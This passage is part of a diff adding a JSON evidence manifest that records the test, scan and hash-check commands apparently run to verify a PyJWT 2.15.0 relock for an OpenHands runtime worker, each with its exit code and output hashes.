"stdout_sha256_private_raw": "9b7d0a18e7b5f21f67dcabe0c2c5bfa83a2c5f909b2ba161cb02e5aa0865bfd1", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "ce8c4efb15754c580fc498dec118406b5983cd4e34ebeb0e11d0341ebabe5763", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt", + "returned_output_sha256": "b07c39e550def4290546d5b61054772b5f1f980ee09e1d9af040fe53d6ea2451" + }, + { + "id": "native-tox-run-help", + "argv": [ + "rtk", + "proxy", + "/tox-driver/bin/python", + "-m", + "tox", + "run", + "--help" + ], + "cwd": "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68", + "started_utc": "2026-09-30T17:07:07.754941+00:00", + "ended_utc": "2026-09-30T17:07:07.991354+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "a656e9fea95391744c9b7d44ca7a0f4601a8917c1feada89aa1a2792e816804a", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "0cedf37444657c13b18c740b3484ac8919b8f827156a609697c32f3d6634c50d", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt", + "returned_output_sha256": "d8df693a45f7f2a6da323c67f956472a41e052bb525566ac584411ff4893d68d" + }, + { + "id": "unchanged-upstream-tox-regressions", + "argv": [ + "rtk", + "proxy", + "/tox-driver/bin/python", + "-m", + "tox", + "-e", + "py313-crypto", + "--workdir", + "/tox", + "--", + "tests/test_api_jwt.py::TestJWT::test_decode_payload_recursion_error_throws_decode_error", + "tests/test_jwks_client.py::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error" + ], + "cwd": "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68", + "started_utc": "2026-09-30T17:08:37.109674+00:00", + "ended_utc": "2026-09-30T17:08:46.434505+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "8afa4ab3eec2349dd171f284397e77507431262748cc745830913bd3cf0f90a0", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "6da477c2413e7398d4e015d9c19c6b556743c25f9d111783c2165248c697728d", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt", + "returned_output_sha256": "d75d11056968ffb160194f8f9d1d318ceffb58e6e220215a71d81a4a2e24d40e" + }, + { + "id": "upstream-selected-file-hashes", + "argv": [ + "rtk", + "proxy", + "sha256sum", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tox.ini", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/.github/workflows/main.yml", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/utils.py", + "/pyjwt-source.tar.gz" + ], + "cwd": "", + "started_utc": "2026-09-30T17:08:46.436350+00:00", + "ended_utc": "2026-09-30T17:08:46.464650+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "2d5b7555b5ec8642c6a1b65af7eea8e2175a56434ebe23fb2722b8cf59ee3a5d", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "a1f3450681c95b07b96372441aa4c55e40cee2344c006897825328be37711052", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt", + "returned_output_sha256": "a79d7e59d80e4b247a76031e5704ebae8128fff34fdffb25e0a8a73f299857df" + }, + { + "id": "candidate-upstream-test-tools", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--group", + "tests", + "--constraints", + "/constraints.txt", + "--index-url", + "https://pypi.org/simple" + ], + "cwd": "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68", + "started_utc": "2026-09-30T17:12:03.295271+00:00", + "ended_utc": "2026-09-30T17:12:03.525583+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "2f531f876b77611a2060969fbbe416a277f21bcdc395b99c0f309bc308bb6f98", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "285391c25449c605ea5d0b7e94eef7282d23486b2a473b06e460a0aa74985516", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt", + "returned_output_sha256": "b3e831ea6e1d1cc32ef492ee6bc5405e00c7345d1e65684672a41eaf30a42b12" + }, + { + "id": "bd1-control-upstream-test-tools", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--group", + "tests", + "--constraints", + "/control-constraints.txt", + "--index-url", + "https://pypi.org/simple" + ], + "cwd": "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68", + "started_utc": "2026-09-30T17:12:03.527045+00:00", + "ended_utc": "2026-09-30T17:12:03.593853+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "6ec76857ec513c9eda5bc1d7f9e70ea8487dba24518fc8848f91e398237c8eb6", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "4626c93f71821433a2e846bc81057e867f068caf571a2e8119b5c2abe5e92453", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt", + "returned_output_sha256": "569b4604483c76a31e210dcc97cd2762bc6a63b54df00762d0e68faab3902511" + }, + { + "id": "candidate-native-pytest-help", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-m", + "pytest", + "--help" + ], + "cwd": "", + "started_utc": "2026-09-30T17:12:03.596010+00:00", + "ended_utc": "2026-09-30T17:12:04.330467+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "d580517f299161e9c447dad64e8e46bf249cddd8744eb9575370383943771330", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "4c90c5fac1d43927974acb9773fba034de5d6b9ff70856f44555e51f59299a63", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt", + "returned_output_sha256": "23b64656768de639ea6b8bc26b7118a9c7f853ec40f20d23fcd87eddaf995839" + }, + { + "id": "installed-bd1-unchanged-regression-control", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-b", + "-c", + "import sys,pathlib,importlib.metadata as m,pytest,jwt\nsite=pathlib.Path(sys.argv[1]).resolve();expected=sys.argv[2];source=pathlib.Path(sys.argv[3])\ntarget=pathlib.Path(jwt.__file__).resolve()\nprint('installed jwt.__file__='+str(target),flush=True)\nprint('installed PyJWT='+m.version('PyJWT')+'; pytest='+m.version('pytest')+'; coverage='+m.version('coverage'),flush=True)\nassert target.is_relative_to(site) and m.version('PyJWT')==jwt.__version__==expected\nnodes=[str(source/'tests/test_api_jwt.py')+'::TestJWT::test_decode_payload_recursion_error_throws_decode_error',str(source/'tests/test_jwks_client.py')+'::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error']\ncode=pytest.main(['--import-mode=append','-c',str(source/'pyproject.toml'),'-v']+nodes)\nassert pathlib.Path(jwt.__file__).resolve()==target\nprint('post-test jwt.__file__='+str(pathlib.Path(jwt.__file__).resolve()),flush=True)\nraise SystemExit(code)\n", + "/venv/lib/python3.13/site-packages", + "2.14.0", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68" + ], + "cwd": "/regression-run", + "started_utc": "2026-09-30T17:12:04.333315+00:00", + "ended_utc": "2026-09-30T17:12:05.306975+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "b6894a8165ee80bd784b289d6291d60819a934cd96919804898fa2857ea98497", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "bd479e3d9d53d91a0c3e90fc0a6fd8deaebf9b701d6120401f82da3a0e2be18d", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt", + "returned_output_sha256": "b1f890f09595dfb43f32ace636f378bc845f0c85e091f7050e03f22e86f5ff94" + }, + { + "id": "installed-candidate-unchanged-regressions", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-b", + "-c", + "import sys,pathlib,importlib.metadata as m,pytest,jwt\nsite=pathlib.Path(sys.argv[1]).resolve();expected=sys.argv[2];source=pathlib.Path(sys.argv[3])\ntarget=pathlib.Path(jwt.__file__).resolve()\nprint('installed jwt.__file__='+str(target),flush=True)\nprint('installed PyJWT='+m.version('PyJWT')+'; pytest='+m.version('pytest')+'; coverage='+m.version('coverage'),flush=True)\nassert target.is_relative_to(site) and m.version('PyJWT')==jwt.__version__==expected\nnodes=[str(source/'tests/test_api_jwt.py')+'::TestJWT::test_decode_payload_recursion_error_throws_decode_error',str(source/'tests/test_jwks_client.py')+'::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error']\ncode=pytest.main(['--import-mode=append','-c',str(source/'pyproject.toml'),'-v']+nodes)\nassert pathlib.Path(jwt.__file__).resolve()==target\nprint('post-test jwt.__file__='+str(pathlib.Path(jwt.__file__).resolve()),flush=True)\nraise SystemExit(code)\n", + "/venv/lib/python3.13/site-packages", + "2.15.0", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68" + ], + "cwd": "/regression-run", + "started_utc": "2026-09-30T17:12:05.309727+00:00", + "ended_utc": "2026-09-30T17:12:06.090393+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "77efaeb60fbf3273b7e9d6f41c90ce0ac0cbe270d11009d90b8f7b4587ee3c60", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "5f86020ff73a6b1f36517eef463f560054685b836c8fa4b0d4570b2dc32c2d59", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt", + "returned_output_sha256": "927a12279ff97ecd9277dd408f5733c3238f80622cbdcd5ce4525f9fc5ec0e42" + }, + { + "id": "actual-sdk-fixtures", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-m", + "unittest", + "tests.test_openhands_150", + "-v" + ], + "cwd": "", + "started_utc": "2026-09-30T17:14:33.300603+00:00", + "ended_utc": "2026-09-30T17:14:42.575910+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "8b638d070172c6876516c08068b6f0adaa2c9e7e1ac79e9c5acfd20abb7ccb65", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "8b638d070172c6876516c08068b6f0adaa2c9e7e1ac79e9c5acfd20abb7ccb65", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt", + "returned_output_sha256": "891d87ad2c8423f2b74ce8d3f1a63dcfe25294f13dd21fa7bbc5de66893cf6a3" + }, + { + "id": "maintained-jwt-callers", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T17:14:42.578114+00:00", + "ended_utc": "2026-09-30T17:14:52.865046+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "41c7e1ebfc129697d6965c7c6885c030c311f0741bdff9391fdaeaff65083ede", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "41c7e1ebfc129697d6965c7c6885c030c311f0741bdff9391fdaeaff65083ede", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt", + "returned_output_sha256": "ccfd1d7c537d400b7f430678043dda2b49b57a5bfb2adf09aedca37e2f1ae488" + }, + { + "id": "oauthlib-alias-callers", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T17:14:52.866701+00:00", + "ended_utc": "2026-09-30T17:15:28.848200+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "595ce324156711c9074c287002cffe9645320712bf100e2c840c64feaf0cb51a", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "595ce324156711c9074c287002cffe9645320712bf100e2c840c64feaf0cb51a", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt", + "returned_output_sha256": "32d23e1d2b4b6327b44e5fb4fbbfccc94c33133c296b911b5399844684de67d6" + }, + { + "id": "candidate-osv-current-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T17:15:28.851989+00:00", + "ended_utc": "2026-09-30T17:15:29.440178+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "stderr_sha256_private_raw": "d6e34b1ba05d92b9e38c507063313070e8b9ee2afe6a88ea66367349bb99e45f", + "stdout_sha256_sanitized": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "stderr_sha256_sanitized": "b5aa81d833ec8ec57aa123e2aee81161f04b9d69728823c3804e58f665e07b9f", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt", + "returned_output_sha256": "d98cab16adc610ef89904863dcf0242202ebfb70c1d2a12a23b2459b3999f038" + }, + { + "id": "candidate-osv-empty-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/empty-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T17:15:29.442537+00:00", + "ended_utc": "2026-09-30T17:15:30.093956+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "a312d5b578964a017a1e059458cdeaafb7a3088fb641941df3b7ae05a8409926", + "stderr_sha256_private_raw": "38461a3937f4a74de03f0bb46303be1625fed4918dab215f0950db392b4e9d12", + "stdout_sha256_sanitized": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "stderr_sha256_sanitized": "bbcf9d3883937dcf25f455a2e8a1870d2f4037b9052ac9f684318ef7b9446951", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt", + "returned_output_sha256": "040d82f1a91b191c0623252b9dc95a575a24658ca1843e5fd5548075a3d54ec3" + }, + { + "id": "pristine-and-published-source-identities", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import hashlib,json,sys,tarfile,zipfile\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]);results=[]\nfor archive_name,extracts in [('sdk-source.tar.gz',['source','source-repro']),('pyjwt-source.tar.gz',['pyjwt-source'])]:\n with tarfile.open(p/archive_name,'r:gz') as a:\n for extraction in extracts:\n compared=0;mismatches=[]\n for member in a.getmembers():\n if member.isfile():\n compared+=1;target=p/extraction/member.name\n if not target.is_file() or target.read_bytes()!=a.extractfile(member).read():mismatches.append(member.name)\n results.append({'archive':archive_name,'archive_sha256':hashlib.sha256((p/archive_name).read_bytes()).hexdigest(),'extraction':extraction,'original_regular_files_compared':compared,'mismatches':mismatches})\nwheel=p/'pyjwt-2.15.0-py3-none-any.whl';compared=0;mismatches=[]\nwith zipfile.ZipFile(wheel) as z:\n for n in z.namelist():\n if n.endswith('.py'):\n compared+=1\n if (site/n).read_bytes()!=z.read(n):mismatches.append(n)\nresults.append({'artifact':wheel.name,'sha256':hashlib.sha256(wheel.read_bytes()).hexdigest(),'installed_python_sources_compared':compared,'mismatches':mismatches})\nsource=p/'pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68';sdist=p/'pyjwt-sdist/pyjwt-2.15.0';matches=[]\nfor name in ['tests/test_api_jwt.py','tests/test_jwks_client.py','tests/utils.py','tox.ini','pyproject.toml']:\n a=(source/name).read_bytes();b=(sdist/name).read_bytes()\n assert a==b,name\n matches.append({'path':name,'sha256':hashlib.sha256(a).hexdigest(),'tag_sdist_byte_identical':True})\nprint(json.dumps({'archive_and_installed_checks':results,'tag_sdist_selected_test_inputs':matches},indent=2))\nassert all((r.get('original_regular_files_compared',r.get('installed_python_sources_compared',0))>0) and not r['mismatches'] for r in results)\n", + "", + "/venv/lib/python3.13/site-packages" + ], + "cwd": "", + "started_utc": "2026-09-30T17:17:45.884117+00:00", + "ended_utc": "2026-09-30T17:17:47.844198+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "52569c39d4d241f9cd1cdde873d2f802a824213716d4e013ecb1371ba46980ea", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "52569c39d4d241f9cd1cdde873d2f802a824213716d4e013ecb1371ba46980ea", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt", + "returned_output_sha256": "108f4bfb77b3100e53cf6bdb03d080556267f98f58432d1f13e7427e03e40848" + }, + { + "id": "installed-runtime-version-inventory", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import sys,re,json,importlib.metadata as m\nfrom pathlib import Path\np=Path(sys.argv[1]);expected={}\nfor n,v in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)==([^\\n]+)',(p/'candidate.lock').read_text()):expected[re.sub(r'[-_.]+','-',n).lower()]=v.rstrip(' \\\\')\nexpected['openhands-sdk']=expected['openhands-tools']='1.50.0';mismatches=[{'name':n,'expected':v,'actual':m.version(n)} for n,v in expected.items() if m.version(n)!=v]\nprint(json.dumps({'checked_runtime_declarations':len(expected),'installed_distributions_after_test_tools':len(list(m.distributions())),'mismatches':mismatches,'test_tools':{n:m.version(n) for n in ['pytest','coverage','pluggy','iniconfig']}},indent=2))\nassert len(expected)==176 and not mismatches\n", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T17:17:47.846698+00:00", + "ended_utc": "2026-09-30T17:17:48.020959+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "6c651c3a94566c9609d817d3aadd46833a10aefc6125e0c86adf7421c781de52", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "6c651c3a94566c9609d817d3aadd46833a10aefc6125e0c86adf7421c781de52", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt", + "returned_output_sha256": "8f312d726e1d7bfb76c38c350da2cc9ae529477124ddc816c381e97b06b37709" + }, + { + "id": "native-pip-check-after-test-tools", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_utc": "2026-09-30T17:17:48.022326+00:00", + "ended_utc": "2026-09-30T17:17:48.073740+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "ffe9057233b47a3706e8203c31c1975cef2ad20b94fdb44ede8cb802c362c595", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "972e70069e50b6d274355860e44978a674dfe762390784a4d1e4daa0c76de239", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt", + "returned_output_sha256": "5c255a24a423064be19e755f7dfafe0d18423467f13ad7d2a04caa04b047e3ed" + }, + { + "id": "exact-caller-and-pyjwt-static-delta", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import sys,hashlib,difflib,json\nfrom pathlib import Path\nsite,oldsite=map(Path,sys.argv[1:3])\nprint('Exact new PyJWT source, with old installed target diff:')\np=site/'jwt/api_jwt.py';old=oldsite/'jwt/api_jwt.py'\nprint('new jwt/api_jwt.py sha256',hashlib.sha256(p.read_bytes()).hexdigest())\nprint('old jwt/api_jwt.py sha256',hashlib.sha256(old.read_bytes()).hexdigest())\nprint(''.join(difflib.unified_diff(old.read_text().splitlines(True),p.read_text().splitlines(True),fromfile='PyJWT2.14.0/jwt/api_jwt.py',tofile='PyJWT2.15.0/jwt/api_jwt.py')))\nprint('OAuthlib namespaces re-export endpoint/server/grant definitions; definition loading does not prove invocation:')\nfor name,windows in [('oauthlib/oauth2/__init__.py',[(15,31),(55,68)]),('oauthlib/oauth2/rfc6749/endpoints/revocation.py',[(27,37),(65,83)]),('oauthlib/oauth2/rfc6749/grant_types/authorization_code.py',[(43,64),(500,509),(539,550)])]:\n p=site/name;lines=p.read_text().splitlines();print(name,'sha256',hashlib.sha256(p.read_bytes()).hexdigest())\n for start,end in windows:\n for i in range(start-1,min(end,len(lines))):print(f'{name}:{i+1}: {lines[i]}')\nprint('Static review only: dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime reachability remain unknown.')\n", + "/venv/lib/python3.13/site-packages", + "/venv/lib/python3.13/site-packages" + ], + "cwd": "", + "started_utc": "2026-09-30T17:17:48.076138+00:00", + "ended_utc": "2026-09-30T17:17:48.140776+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "9b6e3adbc1d5e6333755df512e24b3751b5ab809f3316aeab3fc1ff7388ab2c0", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "9b6e3adbc1d5e6333755df512e24b3751b5ab809f3316aeab3fc1ff7388ab2c0", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt", + "returned_output_sha256": "fc84c818132d1fab9531e0114177c3a7154960782b8eee59c80faae5364195bc" + }, + { + "id": "tox-official-release", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/tox-dev/tox/releases/tags/4.64.5", + "--jq", + "{tag_name,published_at,html_url,body}" + ], + "cwd": "", + "started_utc": "2026-09-30T17:19:27.429633+00:00", + "ended_utc": "2026-09-30T17:19:27.860325+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "99da51f6f38d60fc3198d3e1ba5d51a4f48307c4fda451ec8277ce2b765c278a", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "99da51f6f38d60fc3198d3e1ba5d51a4f48307c4fda451ec8277ce2b765c278a", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt", + "returned_output_sha256": "5e1e5defdbfd7d2cfc61863f0349fefa2d7d27d64c20362105549d4521281fc5" + }, + { + "id": "source-policy-and-compatibility", + "argv": [ + "rtk", + "proxy", + "rg", + "-n", + "exclude-newer|urllib3>=|cryptography<49|requires-python|pytest>=|coverage\\[toml\\]|crypto", + "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml" + ], + "cwd": "", + "started_utc": "2026-09-30T17:19:27.861837+00:00", + "ended_utc": "2026-09-30T17:19:27.909627+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "f213796319558a2a1b780fc35a5e077f51d8829ccfc826bf63d76d014dfde7ba", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "62a43bf7390cb09e6945ae0edfed6c4f08468d587b125950ffcf63ad7579eb81", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt", + "returned_output_sha256": "a7c5c8fe6c4ae9a92d3f1aefef7702bb52de6685bf90feddfe77a1387742a2df" + }, + { + "id": "owned-diff-check", + "argv": [ + "rtk", + "proxy", + "git", + "diff", + "--check" + ], + "cwd": "", + "started_utc": "2026-09-30T17:19:27.911154+00:00", + "ended_utc": "2026-09-30T17:19:27.964658+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt", + "returned_output_sha256": "d60bd830527dd82244afeae14cda196ce4cd07d9826e1a762aa8fd7fbc48486a" + }, + { + "id": "owned-file-publication-scan", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt", + "--scan-file", + 